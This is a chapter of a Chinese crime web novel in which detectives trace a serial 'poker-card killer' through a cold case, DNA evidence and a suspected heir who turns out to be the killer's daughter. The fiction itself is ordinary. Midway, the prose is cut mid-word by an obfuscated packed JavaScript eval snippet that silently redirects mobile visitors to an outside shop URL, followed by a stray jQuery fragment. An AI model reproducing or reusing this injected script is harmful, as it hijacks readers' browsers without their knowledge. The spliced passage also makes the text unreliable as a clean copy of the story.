樊朔轻咳一声,没评价沈峰的推理,而是继续讲述排查结果,他拿出那张“过度亲密”的合影,“这是郑香雪和一名男生的合影,大家看了有什么感觉?”

    “这......”沈峰眯眼,手中的香烟明明灭灭,他摇摇头,“太亲密了。”

    其他刑警纷纷点头。

    别说学生和老师了,就是熟人男女,也没有这么拍照的。

    不过三十九岁的女老师和未满十八岁的男学生,真的能发生什么?

    樊朔继续加码,“这个男生叫夏清河,是左岸酒吧老板夏志国的儿子。”

    轰,办公室瞬间炸开,俗话说“过多的巧合就不是巧合了”。

    卓恒脸色严肃,郑重道,“这样,通知夏志国明天上午来市局,再问一遍,之前他肯定有所隐瞒。小樊,还有什么发现?”

    樊朔补充,“还有就是负责左岸后巷的清洁工突然请假这件事了,大海,你来说。”

    谭海起身,“没问题。我们去市政查找到,负责那一片卫生的清洁工叫李芳,突然请假的原因是突发阑尾炎,做了手术,医生让她至少休息两周,这才没去打扫卫生。

    据李芳讲,她生病那天喝过左岸酒吧给她的饮料,其他三餐都是她自己做的,不可能有问题。

    目前我们怀疑问题就出在饮料上,可惜饮料瓶早被李芳卖废品卖掉了,没证据。

    我们跟左岸酒吧的服务员核实过,当天他确实给过清洁工一瓶饮料,李芳口渴过来接水,他随手把快过期的饮料给了李芳。”

    卓恒问,“那饮料一直在酒吧放着?”

    谭海,“是。”

    ——那么夏志国想动手脚很容易。

    案件愈发复杂,夏志国明显在本案中扮演了一个角色,只是他做了什么,以及最重要的,为什么要做?

    卓恒看向沈峰和虞晴,后者开口道,“上午我们拜访了最早负责扑克牌杀手案的刑警张勋。

    据张勋回忆,他进入第一案的案发现场时,第一感觉是太干净了,凶手除了杀人以及完成签名外,没做任何多余的事,干净得不像第一次杀人。

    据此我和沈队做出判断,扑克牌杀手在形成独特的签名前,曾经杀过人。”

    众人闻言纷纷看过来,虞晴接着道,“理论上,连环杀手的杀害对象、杀人动机以及杀人模式不会轻易改变发。

    与一般杀人犯不同,连环杀手的杀人行为,是为了满足其特定的心理。

    据此我们翻阅了千禧年之前割喉死亡的未结案件,发现一个案子很可疑。”

    国外有过案例,连环杀手在形成独特的签名之前,不少人都有杀人、伤人的经历。

    随着杀人快感的边际递减,他们想到使用签名的方式向警方挑衅,也向世人宣告这些命案的所有权。

    难道扑克牌杀手属于这种情况?

    虞晴抽出一个卷宗,介绍她发现的可疑案件。

    97年,就在举国欢庆春节之时,一名叫廖国伟的21岁男性唐氏儿,被人杀死在化肥厂废弃仓库中。

    发现尸体时,廖国伟已经死亡近一周,调查一直找不到凶手,案件拖了一年,被放到悬案里了。

    廖国伟有个大他两岁的哥哥廖国强,早年当过兵,千禧年死在天使录像厅大火中,廖家算是绝户了。

    卓恒激动道,“确定是扑克牌杀手所为?”

    虞晴看向乔兰,“这就要问乔法医了。”

    不论哪个国家,悬案的证据、卷宗都会妥善保存,等待有朝一日被重新开启。

    廖国伟案就是如此,案发现场找到的脚印、脱落的毛发、外围现场找到的血衣、手套等都有保存。

    乔兰情商极高,微笑脸表扬了开州市局的卷宗、证据保存工作,“幸亏当年的证据都在,我对毛发、血衣、手套中残存的细胞进行了DNA检测,确认三者属于同一个人,可以确定毛发为嫌疑人行凶时所留。

    我又针对扑克牌杀手犯下的八宗连环凶杀案进行了DNA测试,结果显示八件案子均为同一人所做,且和廖国伟案的嫌疑人对上了,确认廖国伟为扑克牌杀手所杀。

    扑克牌杀手的性染色体为XY型,可以确定其为男性,目前年龄在四十七岁左右,误差正负三到五岁。”

    之前专案组就做过DNA测试,乔兰的结论,唯一有用的,就是找到了扑克牌杀手的“第一案”。

    众人闻言没说话,孟阳急道,“兰姐,扑克牌杀手的DNA跟数据库比对上了吗?”

    乔兰摇头,“没有,这么多年扑克牌杀手都没有犯事儿,他除了杀人,貌似对其他违法犯罪都没兴趣。

    另外,鉴于白银案是通过Y型染色体追踪到的嫌犯,我对扑克牌杀手的Y染色体进行了分析,但是很遗憾,数据库中并没有与扑克牌杀手有亲缘关系的人。”

    ——哎。

    就在众人叹息的时候,乔兰继续道,“最新的这件案子中,我在嫌疑人佩戴的血手套中提取到表皮脱落细胞,DNA检测虽没和数据库匹配上,但有一点要跟大家说明。

    本案嫌疑人和扑克牌杀手并非一人,因为,本案嫌疑人为女性。”

    “女的?”几乎所有人都脱口而出,本案嫌疑人用了扑克牌杀手的刀,可以肯定他/她和扑克牌杀手认识。

    一个可能就是,他/她是扑克牌杀手培养的接班人。

    那么,问题来了,一个男性连环杀手,为何培养女性为接班人?

    国外研究表明,连环杀手自负、骄傲自大,生活中很可能独断专行,是“暴君”一样的人物。

    这样的人,大概率瞧不起女性。扑克牌杀手却培养了一个女接班人,这明显不合常理。

    乔兰在大家诧异的目光中,坦然点头道,“对,女性。另外,我在手套中提取到了护手霜的成分。

    根据不同年龄段女性的行为习惯,日常涂抹护手霜的女性年龄都不大,本案嫌疑人大概率是位年轻女性。

    据此我将本案凶手的DNA和扑克牌杀手的DNA进行比对,发现本案凶手和扑克牌杀手存在血缘关系。

    也就是说,本案凶手是扑克牌杀手的女儿。”

    信息量太大,专案组队员们的CPU都烧了。

    半晌,沈峰低骂一句,“变态!”他有对龙凤胎儿女,今年不过三岁,虽然不常见面,但血缘的羁绊还是让他将人疼到骨子里。

    可一个连环杀手,竟然将女儿培养成杀手,这......

    办公室内一时陷入低气压。

    半晌,虞晴轻咳一声,继续介

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709815|205862||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绍,“另外,张勋队长还介绍到,开州市流传着一个说法,那就是扑克牌杀手和天使录像厅的大火有关。

    天使录像厅的大火发生在十一月末,扑克牌杀手有签名的第一案发生在十二月末,有传言称扑克牌杀手在大火中失去了亲友,借杀人报复社会。”

    樊朔点点头,“这个说法我听过,不过现有的证据无法证明二者之间存在联系。”

    “不,相反,二者可能真存在联系。”一直旁听的秦源出声道,“天使录像厅起火的时候我刚当警察没多久,记得很清楚。

    录像厅的老板叫薛文娟,长得很漂亮,听说早年就是唱戏的,但因为生了个唐氏综合症儿子,和丈夫离了婚。

    为了养育儿子,薛文娟从剧团退出,傍上了开州的一位老板,在其支持下开的天使录像厅。

    大火时薛文娟和儿子就在隔壁睡觉,火起来后一并烧死了。”

    孟阳一下子精神了,“唱戏,唐氏儿,都对上了。扑克牌杀手是憎恨薛文娟,从而报复社会!”

    “有可能,只是大火死了七十多个人,查起来困难不小。”卓恒看向樊朔,后者赶忙表态,“没关系,卓组长,不就七十多个嘛,交给我们重案队,肯定都查得妥妥的。”

    卓恒欣慰脸,“好,也不用全查,先筛查七十多人的亲友中,存在二十五岁左右青壮年男子的。

    再查该男子是否有女儿,还要排除亲友中有人有过前科的,筛掉后剩下的慢慢查。”

    “明白。”

    卓恒目光扫向众人,“大家还有什么想说的?”

    见众人不说话,卓恒开始分配任务。

    “目前需要完成三件事,第一,尽快排查在天使录像厅大火中的丧生者,重点排查其直系亲友。

    第二,重新询问夏志国,对于他在办案中扮演了什么角色,一定要搞清楚。

    第三,继续排查割喉死亡的未结案件,廖国伟案是否为第一案还存疑,不要过早下结论。”

    翌日早八点,卓恒、秦源重新询问夏志国。

    樊朔、谭海带队,针对录像厅大火中的丧生者进行排查。

    虞晴四人,则继续翻阅悬案卷宗,找到扑克牌杀手犯下的第一案。

    审讯室。

    夏志国好歹做过两年线人,见过世面,再次被到询问室半点儿不慌,见秦源带着个陌生人以及俩小年轻进来,笑着挑挑眉。

    “秦支,抽支烟不介意吧,我这老烟枪了,一会儿不抽心里就跟有鸡爪挠一样,忒刺挠。”

    和夏志国打过交道,来之前秦源就和卓恒商量过,这次询问以秦源为主。

    此时,秦源坐到正中主审的位置上,示意负责记录的小年轻给夏志国点烟。

    小年轻虎着脸,掏出一根白沙,弹开打火机就要点,夏志国见状,忙抬手拒绝,掏出1916,边点烟边眯眼笑着看向秦源。

    秦源眯起眼,对方太过镇定,只能先发制人,打掉气焰,接下来才好审。

    按灭烟头,秦源将在郑香雪房间发现的照片一一排在桌上,紧紧盯着看到照片后,一瞬间忘记吸烟的夏志国,开门见山道,“夏志国,我们在郑香雪的房间内发现了这些照片。

    对你儿子夏清河和郑香雪的关系,你有什么要交代的吗?”